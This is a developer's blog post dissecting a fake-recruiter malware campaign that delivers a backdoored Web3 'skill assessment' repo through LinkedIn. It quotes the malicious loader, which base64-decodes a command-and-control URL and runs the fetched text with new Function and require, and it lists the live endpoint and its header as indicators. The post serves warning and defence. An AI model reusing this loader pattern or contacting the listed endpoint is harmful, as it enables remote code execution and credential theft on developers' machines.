TL;DR. A LinkedIn “private investor” pitched me a Web3 backend role, walked me through a normal-looking hiring process, then sent a Bitbucket repo as a “skill assessment” with a 2-3 hour deadline. The repo looked like an ordinary React + Node DeFi app. It wasn’t. The instant the server boots, it fetches code from a server the attacker controls and runs it on your laptop with full Node.js privileges. This was the second time this exact play had come at me, so I didn’t run it. I read it, confirmed the backdoor, and then sent him back his own command-and-control link as my “solution.” This post is the autopsy.

The pitch

It started the way these always do: a friendly DM about an exciting opportunity. The sender, Nick Fernandez PE, was a 1st-degree connection whose headline read “Private Investor | Building High-Performance Technical Teams | Crypto & Blockchain Ecosystem Builder.” He said he was involved with a startup called ZentariX Labs and was hiring a backend engineer to build “the next generation of Web3 products” across a whole ecosystem: a web3 gaming platform, a crypto-based real estate platform, and a DEX.

LinkedIn message from Nick Fernandez PE pitching a backend role at ZentariX Labs

The opener. A real-looking profile, a named company, a broad ’ecosystem,’ and a compliment about my experience. Every detail is engineered to lower your guard.

A note on the company name. I have no evidence that ZentariX Labs, as a business, has anything to do with this. Scammers routinely borrow real or real-sounding company names to look credible, and the person messaging me may have had no genuine connection to it at all. Treat the name as an unverified claim that he made, not as an accusation against any company.

Everything in that first message is load-bearing social engineering: a named company with a website, an investor persona, a 1st-degree connection so it feels vetted, and flattery. There’s no link to click yet. Just rapport.

I played along and shared a few details about my background. He came back fast and laid out a hiring process that looked completely standard:

“I’ve reviewed your CV carefully, and I believe you are suitable for our backend developer position. Our hiring process typically takes place in the following steps: 1. Skill Assessment (short take-home task) 2. Intro & Technical Interview 3. Final Interview.”

Recruiter message outlining a 3-step hiring process: skill assessment, technical interview, final interview

The recruiter’s ‘standard’ hiring process. A textbook 3-step funnel, but only step one, the skill assessment, ever happens.

This is the cleverest part. A normal hiring funnel (assessment, then tech interview, then final round) makes the take-home task feel routine. But only step one ever happens. The “skill assessment” is the attack. The interviews are bait you will never reach.

Then came the role detail and the rate framing: a Web3-based real estate platform, a team of 8, $70-120/hr, full or part-time.

Recruiter message describing a Web3 real estate platform role at $70-120/hr

More specifics to keep the momentum going, right before the task drops.

The reply with the task was immediate, and it came with a deadline:

“Here’s the test project and requirements: [Google Doc]. Please review it, and kindly submit the result within 2-3 hrs, if you can start right now. Otherwise, please submit it by end of today.”

Recruiter sharing a Google Doc and asking for submission within 2-3 hours

The urgency. 2-3 hours is not enough time to audit a codebase, which is exactly the point.

That urgency is the whole trick. A 2-3 hour window is too short to read the code, and just long enough to make you skip reading it. You clone, you npm install, you npm start, you make the UI work, you submit. Pressure manufactures trust.

The “skill assessment”

The Google Doc was professionally done. It was titled Copy of Skill Assessment, with separate tabs for every role they were “hiring”: Frontend Developer, Product Designer, Backend Engineer, Blockchain Developer, AI Engineer, QA Engineer.

Google Doc titled 'Copy of Skill Assessment' with tabs for multiple engineering roles

One doc, every role. This is a campaign, not a one-off. They have a funnel.

The intro read like boilerplate corporate onboarding:

“This is a simple test that takes about 30 minutes to complete. Your task is to implement the specified requirements within the project. Therefore, the test task should be thoroughly carried out in a test project.”

Note the insistence that you run it “thoroughly, in a test project.” They want the code executed on your machine. That is the payload delivery.

The code itself lived in a Bitbucket repo: a React frontend, an Express and Mongo backend, some Solidity contracts in a resource/ folder, MUI components, Redux. It looked exactly like a half-finished DeFi side project. Nothing screamed malware. That is the craft.

Why I didn’t run it

Here is the part I want to be honest about, because it cuts against the obvious version of this story. I did not run the project. This was the second time a near-identical “Web3 investor with a take-home repo” approach had landed in my inbox, and the pattern was familiar enough that the urgency raised a flag instead of lowering one. So before doing anything, I opened the server code and read it.

It took about two minutes to find the backdoor (the autopsy below). Once I was sure, I made a decision: instead of ghosting him, I’d waste his time and hand him something fitting. I told him I had “run the project locally and implemented it,” and I sent a “solution” link.

My message telling the recruiter I ran the project locally, with a solution link

The bluff. I told him I’d run it, but I never did. The ‘solution’ link I sent was not my code.

“Done. Did you get what you were looking for? I ran the project in my local successfully and implemented.”

That “I ran it” line was a lie I told the attacker, not a confession to you. My machine never executed a line of his code. What the link actually pointed to is the punchline, and I’ll get to it. First, the trap itself.

The autopsy

The malicious logic was split across a few files so no single one looks alarming. Here is how it chains together.

1. The auto-trigger that fires on boot, no request needed

In server/routes/api/profile.js, buried at the bottom of a normal-looking Express route file, sits a bare function call at the top level of the module:

// ...hundreds of lines of legitimate-looking CRUD routes above...

errorTimeHandler();   // runs the moment this file is require()'d

Express route modules get require()’d when the server starts. So this runs on npm start. You don’t have to hit any endpoint. Booting the app is enough.

2. The C2 config, base64’d into a fake .env

errorTimeHandler lives in server/middleware/errorHandler.js. It pulls three values out of the environment, base64-decodes them, and makes an HTTP request:

const errorTimeHandler = async () => {
  try {
    const src = atob(process.env.AUTH_AIP_KEY);      // the URL
    const k   = atob(process.env.AUTH_ACCESS_KEY);   // a header name
    const v   = atob(process.env.AUTH_ACCESS_VALUE); // a header value
    try {
      globalConfig = await axios.get(`${src}`, { headers: { [k]: v } });
      log('Runtime config loaded successfully.');
    } catch (error) {
      errorHandler(error.response?.data || error.message);  // see step 3
    }
  } catch (err) {
    await errorHandler(err.response?.data || err.message || err);
  }
};

Those env vars came from a file called config.env.example, stuffed with 80+ lines of realistic but fake secrets (AWS keys, Stripe keys, Twilio, SendGrid, a Postgres URL) so the three that matter are buried near the bottom:

# Runtime Configuration
AUTH_AIP_KEY=aHR0cHM6Ly9zZXJ2ZXItdmljdG9yeTUudmVyY2VsLmFwcC9hcGkvaXBjaGVjay1lbmNyeXB0ZWQvNjAzXzE=
AUTH_ACCESS_KEY="eC1zZWNyZXQtaGVhZGVy"
AUTH_ACCESS_VALUE="c2VjcmV0"

Decode them and the disguise falls away:

AUTH_AIP_KEY      -> https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1
AUTH_ACCESS_KEY   -> x-secret-header
AUTH_ACCESS_VALUE -> secret

The names are camouflage too. AUTH_AIP_KEY, ipcheck-encrypted, “Runtime Configuration.” It is dressed up to look like a license check or a geo-IP lookup. It is a command-and-control endpoint, hosted on a throwaway Vercel app.

3. The payload, arbitrary code execution

Now the kicker. Whatever text that server returns gets handed to this:

const errorHandler = (error) => {
  if (typeof error !== 'string') return;
  const createHandler = (errCode) => {
    try {
      const handler = new (Function.constructor)('require', errCode);  // compile attacker text into a function
      return handler;
    } catch (e) { return null; }
  };
  const handlerFunc = createHandler(error);
  if (handlerFunc) {
    handlerFunc(require);   // run it, and hand it `require`
  }
};

new Function.constructor('require', errCode) is eval wearing a trench coat. It compiles the attacker’s response into a live function and immediately calls it, passing in Node’s require. With require, the payload can pull in child_process, fs, os, https, anything. It can read your SSH keys, your ~/.aws/credentials, browser profiles, crypto wallets, environment secrets, install persistence, and exfiltrate all of it.

That is full remote code execution, triggered by npm start, controlled by a server the attacker owns. They can change the payload at any time. Today it fingerprints you, tomorrow it drains a wallet.

4. The misdirection, a second backdoor and 16 decoys

There is a near-identical errorHandler (same new Function('require', errCode) trick) duplicated in server/config/getContract.js, surrounded by sixteen harmless-looking functions: callEthContract, callPolygonContract, callBscContract, and so on. Each just hits a real public blockchain RPC URL and does nothing with the result. Pure noise, there to make the file scroll like legitimate Web3 plumbing and bury the one function that matters. One of them is even invoked as an immediate IIFE in auth.js, so a second execution path exists.

Three layers of disguise, in total:

  • Naming. errorHandler, errorTimeHandler, getContract, ipcheck. Everything is named like infrastructure.
  • Dilution. 16 fake RPC calls, an 80-line fake .env, real Solidity contracts in the repo.
  • Encoding. The URL and headers are base64, so a casual grep for http or the domain finds nothing.

Epilogue: I handed him back his own malware

Here is the part that still makes me grin. When I sent my “solution,” I didn’t send code. I sent a shortened link: https://tinyurl.com/4j325zvr. Resolve that redirect and where does it go?

https://tinyurl.com/4j325zvr
  -> https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1

That is his own C2 endpoint, the exact URL the malware decodes from AUTH_AIP_KEY and calls to pull its payload. The “solution” I delivered to the attacker was a link straight back to his own command-and-control server.

It didn’t need to go any further, because shortly after, the conversation ended itself:

LinkedIn now shows the recruiter as a generic 'LinkedIn Member', flags his messages as harmful, and says he can't receive messages

LinkedIn flagged HIS messages as ‘unwanted or harmful content,’ the profile collapsed to a nameless ‘LinkedIn Member,’ and it became ‘unable to receive messages.’ The account got pulled.

The once-polished Nick Fernandez PE persona is now an anonymous “LinkedIn Member” whose messages the platform itself marks as “may contain unwanted or harmful content,” and who is “unable to receive messages.” The account was removed. One down. The campaign rolls on under the next name.

How to spot this before you run it

This is a known, active campaign targeting developers, often called “Contagious Interview” or fake-recruiter malware. The tells:

  • Unsolicited “investor” or recruiter for a Web3, crypto, or real-estate-token role, generous hourly rate, landing in your DMs, often citing a real-looking startup and a broad “ecosystem” of products.
  • A normal-looking hiring process (skill assessment, then tech interview, then final) where only the take-home task ever materializes, and no pushback on your rate. They are not really hiring.
  • A “test project” or “skill assessment” you must clone and run, with an artificial 2-3 hour deadline.
  • The task insists you run it locally to “see it work,” rather than just reading or writing code.
  • In the code:
    • eval(...), new Function(...), or Function.constructor anywhere, especially fed by a network response.
    • atob(...) or Buffer.from(x, 'base64') wrapping config values, URLs, or headers.
    • Top-level function calls in route or middleware files (code that runs on import, not on request).
    • A .env or config.env.example with one or two odd entries hidden among realistic decoys.
    • Network calls to throwaway hosts (*.vercel.app, *.onrender.com, pastebins, tinyurl).

Before running any “assessment” repo, read server.js and trace every require, grep for eval|Function\(|atob|child_process|exec, and skim every .env* file. If you must run it, do it in a throwaway VM or container with no real credentials mounted. Never on your daily-driver machine.

What to do if you did run it

I didn’t, but I had the advantage of having seen this play before. If you weren’t so lucky and you executed one of these, treat the machine as compromised and move fast:

  1. Disconnect the machine from the network.
  2. Rotate every credential that machine could touch: SSH keys, cloud and API keys, browser-saved passwords, .env secrets, and especially any crypto wallet seed phrases or keys. Assume they are gone.
  3. Check for persistence: launch agents and daemons (~/Library/LaunchAgents on macOS), cron jobs, shell rc files, unexpected node or outbound processes.
  4. Revoke active sessions and tokens (GitHub, cloud consoles, exchanges).
  5. Reimage the machine if you can. With RCE, you cannot fully trust cleanup.
  6. Report the recruiter profile and the repo to the platform.

Why I’m publishing this

Because it works. The social engineering is good: a real-looking persona, a believable role, a polished doc, and a deadline that short-circuits the exact habit (read before you run) that keeps you safe. The malware is good too: quiet, layered, encoded, and disguised as error handling. The only reason it didn’t get me is that I had seen the shape of it once before and slowed down instead of speeding up.

If naming it helps one other developer recognize the pattern before they hit npm start, it is worth writing down. The known indicators from this one:

  • C2 endpoint: https://server-victory5.vercel.app/api/ipcheck-encrypted/603_1 (also reachable via tinyurl.com/4j325zvr, which goes through a redirect.viglink.com wrapper to the C2).
  • Request header: x-secret-header: secret
  • Execution sink: new Function('require', <remote text>)(require) in errorHandler.js and getContract.js.
  • Trigger: top-level errorTimeHandler() in routes/api/profile.js.
  • Delivery: a Bitbucket “skill assessment” repo for a Web3 real-estate role.
  • Lure: a LinkedIn “private investor” persona name-dropping a startup, with a 3-step hiring process that never gets past step one.

Read before you run. Especially when someone is in a hurry for you not to.